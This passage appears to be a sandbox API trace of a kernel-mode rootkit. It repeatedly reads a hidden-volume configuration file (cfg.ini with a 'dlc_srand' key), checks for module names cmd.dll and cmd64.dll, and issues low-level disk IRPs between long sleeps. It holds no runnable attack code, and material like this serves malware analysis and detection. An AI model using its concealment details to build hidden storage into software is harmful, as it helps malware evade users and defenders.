lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.475] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.475] KeEnterCriticalRegion () [0118.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.475] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.475] IdePortDispatch () returned 0x103 [0118.475] KeWaitForMutexObject () returned 0x0 [0118.475] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.475] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.475] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.475] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.475] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.475] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c5e10 [0118.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.475] KeLeaveCriticalRegion () [0118.475] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.475] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.475] KeEnterCriticalRegion () [0118.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.475] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.475] KeLeaveCriticalRegion () [0118.475] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.475] KeEnterCriticalRegion () [0118.475] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.475] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.475] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.475] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.475] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.475] IdePortDispatch () returned 0x103 [0118.476] KeWaitForMutexObject () returned 0x0 [0118.476] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.476] KeLeaveCriticalRegion () [0118.476] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.476] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.476] KeEnterCriticalRegion () [0118.476] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.476] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce3000 [0118.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.476] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.476] IdePortDispatch () returned 0x103 [0118.476] KeWaitForMutexObject () returned 0x0 [0118.476] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.476] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.476] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.476] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.476] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.476] IdePortDispatch () returned 0x103 [0118.476] KeWaitForMutexObject () returned 0x0 [0118.476] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.476] KeLeaveCriticalRegion () [0118.477] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.477] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.477] KeEnterCriticalRegion () [0118.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.477] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.477] KeLeaveCriticalRegion () [0118.477] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.477] KeEnterCriticalRegion () [0118.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.477] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.477] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c5ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.477] KeLeaveCriticalRegion () [0118.477] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.477] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.477] KeEnterCriticalRegion () [0118.477] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.477] ExFreePoolWithTag (P=0xfffffa80039c5e10, Tag=0x0) [0118.477] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.477] KeLeaveCriticalRegion () [0118.477] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.477] ReleaseMutex (hMutex=0xf0) returned 1 [0118.477] Sleep (dwMilliseconds=0x124f80) [0118.491] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.491] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.491] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.491] KeEnterCriticalRegion () [0118.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.491] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.491] IdePortDispatch () returned 0x103 [0118.492] KeWaitForMutexObject () returned 0x0 [0118.492] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.492] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.492] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.492] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.492] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.492] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aae670 [0118.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.492] KeLeaveCriticalRegion () [0118.492] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.492] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.492] KeEnterCriticalRegion () [0118.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.492] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.492] KeLeaveCriticalRegion () [0118.492] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.492] KeEnterCriticalRegion () [0118.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.492] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.492] IdePortDispatch () returned 0x103 [0118.493] KeWaitForMutexObject () returned 0x0 [0118.493] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.493] KeLeaveCriticalRegion () [0118.493] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.493] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.493] KeEnterCriticalRegion () [0118.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.493] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce8000 [0118.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.493] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.493] IdePortDispatch () returned 0x103 [0118.494] KeWaitForMutexObject () returned 0x0 [0118.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.494] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.494] IdePortDispatch () returned 0x103 [0118.495] KeWaitForMutexObject () returned 0x0 [0118.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.495] KeLeaveCriticalRegion () [0118.495] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.495] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.495] KeEnterCriticalRegion () [0118.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.495] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.495] KeLeaveCriticalRegion () [0118.495] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.495] KeEnterCriticalRegion () [0118.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.495] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.495] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800385b6c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.495] KeLeaveCriticalRegion () [0118.495] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.495] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.495] KeEnterCriticalRegion () [0118.495] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.495] ExFreePoolWithTag (P=0xfffffa8003aae670, Tag=0x0) [0118.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.496] KeLeaveCriticalRegion () [0118.496] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.496] ReleaseMutex (hMutex=0xf0) returned 1 [0118.496] Sleep (dwMilliseconds=0x124f80) [0118.509] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.509] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.509] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.510] KeEnterCriticalRegion () [0118.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.510] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.510] IdePortDispatch () returned 0x103 [0118.510] KeWaitForMutexObject () returned 0x0 [0118.510] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.510] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.510] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.510] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.510] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.510] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039cdd10 [0118.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.510] KeLeaveCriticalRegion () [0118.510] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.510] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.510] KeEnterCriticalRegion () [0118.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.510] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.510] KeLeaveCriticalRegion () [0118.510] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.510] KeEnterCriticalRegion () [0118.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.510] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0118.510] IdePortDispatch () returned 0x103 [0118.511] KeWaitForMutexObject () returned 0x0 [0118.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.511] KeLeaveCriticalRegion () [0118.511] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.511] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.511] KeEnterCriticalRegion () [0118.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.511] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ced000 [0118.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.511] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.511] IdePortDispatch () returned 0x103 [0118.511] KeWaitForMutexObject () returned 0x0 [0118.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0118.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0118.511] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.511] IdePortDispatch () returned 0x103 [0118.511] KeWaitForMutexObject () returned 0x0 [0118.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.511] KeLeaveCriticalRegion () [0118.511] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.512] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.512] KeEnterCriticalRegion () [0118.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.512] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.512] KeLeaveCriticalRegion () [0118.512] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.512] KeEnterCriticalRegion () [0118.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.512] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.512] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.512] KeLeaveCriticalRegion () [0118.512] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.512] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.512] KeEnterCriticalRegion () [0118.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.512] ExFreePoolWithTag (P=0xfffffa80039cdd10, Tag=0x0) [0118.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.512] KeLeaveCriticalRegion () [0118.512] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.512] ReleaseMutex (hMutex=0xf0) returned 1 [0118.512] Sleep (dwMilliseconds=0x124f80) [0118.520] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.542] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.542] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.542] KeEnterCriticalRegion () [0118.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.542] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0118.542] IdePortDispatch () returned 0x103 [0118.542] KeWaitForMutexObject () returned 0x0 [0118.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.542] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.542] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.542] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.542] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.542] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7a00 [0118.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.542] KeLeaveCriticalRegion () [0118.542] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.542] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.542] KeEnterCriticalRegion () [0118.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.542] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.542] KeLeaveCriticalRegion () [0118.542] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.542] KeEnterCriticalRegion () [0118.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 